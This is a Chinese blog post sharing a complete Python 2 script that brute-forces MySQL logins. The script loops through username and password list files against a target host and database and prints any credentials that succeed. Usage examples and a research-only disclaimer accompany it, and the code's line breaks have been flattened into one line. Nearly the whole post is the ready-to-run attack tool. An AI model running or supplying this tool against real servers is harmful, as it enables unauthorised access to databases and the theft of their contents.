之前写了一个python ftp暴力破解工具,发到习科上面了,结果好多人说要我写一个mysql和mssql的工具,最近实在忙一直没有时间写,昨天晚上折腾了一个单线程版本的,先发出来给大家玩一下,这个工具在键盘中止异常方面处理的有问题,不知道是怎么回事,老是捕获不了ctrl+c异常,希望哪位兄弟帮我改进一下。。。
代码写的比较简洁,文件读取部分异常处理没有写,所以在使用本工具前,请确保脚本同目录下存在user.txt,pass.txt两个文件
#!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf-8 -*- # Date: 2014/11/10 # Created by 独自等待 # 博客 http://www.waitalone.cn/ import os, sys, re, socket, time try: import MySQLdb except ImportError: print '\n[!] MySQLdb模块导入错误,请到下面网址下载:' print '[!] http://www.codegood.com/archives/129' exit() def usage(): print '+' + '-' * 50 + '+' print '\t Python MySQL暴力破解工具单线程版' print '\t Blog:http://www.waitalone.cn/' print '\t\t Code BY: 独自等待' print '\t\t Time:2014-11-10' print '+' + '-' * 50 + '+' if len(sys.argv) != 6: print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 数据库 用户名列表 密码列表" print "实例: " + os.path.basename(sys.argv[0]) + " www.waitalone.cn 3306 test user.txt pass.txt" sys.exit() def mysql_brute(user, password): "mysql数据库破解函数" db = None try: # print "user:", user, "password:", password db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2])) # print '[+] 破解成功:', user, password result.append('用户名:' + user + "\t密码:" + password) except KeyboardInterrupt: print '大爷,按您的吩咐,已成功退出程序!' exit() except MySQLdb.Error, msg: # print '未知错误大爷:', msg pass finally: if db: db.close() if __name__ == '__main__': usage() start_time = time.time() if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]): host = sys.argv[1] else: host = socket.gethostbyname(sys.argv[1]) userlist = [i.rstrip() for i in open(sys.argv[4])] passlist = [j.rstrip() for j in open(sys.argv[5])] print '\n[+] 目 标:%s \n' % sys.argv[1] print '[+] 用户名:%d 条\n' % len(userlist) print '[+] 密 码:%d 条\n' % len(passlist) print '[!] 密码破解中,请稍候……\n' result = [] for x in userlist: for j in passlist: mysql_brute(x, j) if len(result) != 0: print '[+] 恭喜大爷,MySQL密码破解成功!\n' for x in {}.fromkeys(result).keys(): print x + '\n' else: print '[-] 杯具了大爷,MySQL密码破解失败!\n' print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)
用法: mysqlbrute.py 待破解的ip/domain 端口 数据库 用户名列表 密码列表
实例: mysqlbrute.py www.waitalone.cn 3306 test user.txt pass.txt
实例: mysqlbrute.py www.waitalone.cn 3306 test user.txt pass.txt
from www.waitalone.cn.thanks for it.
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论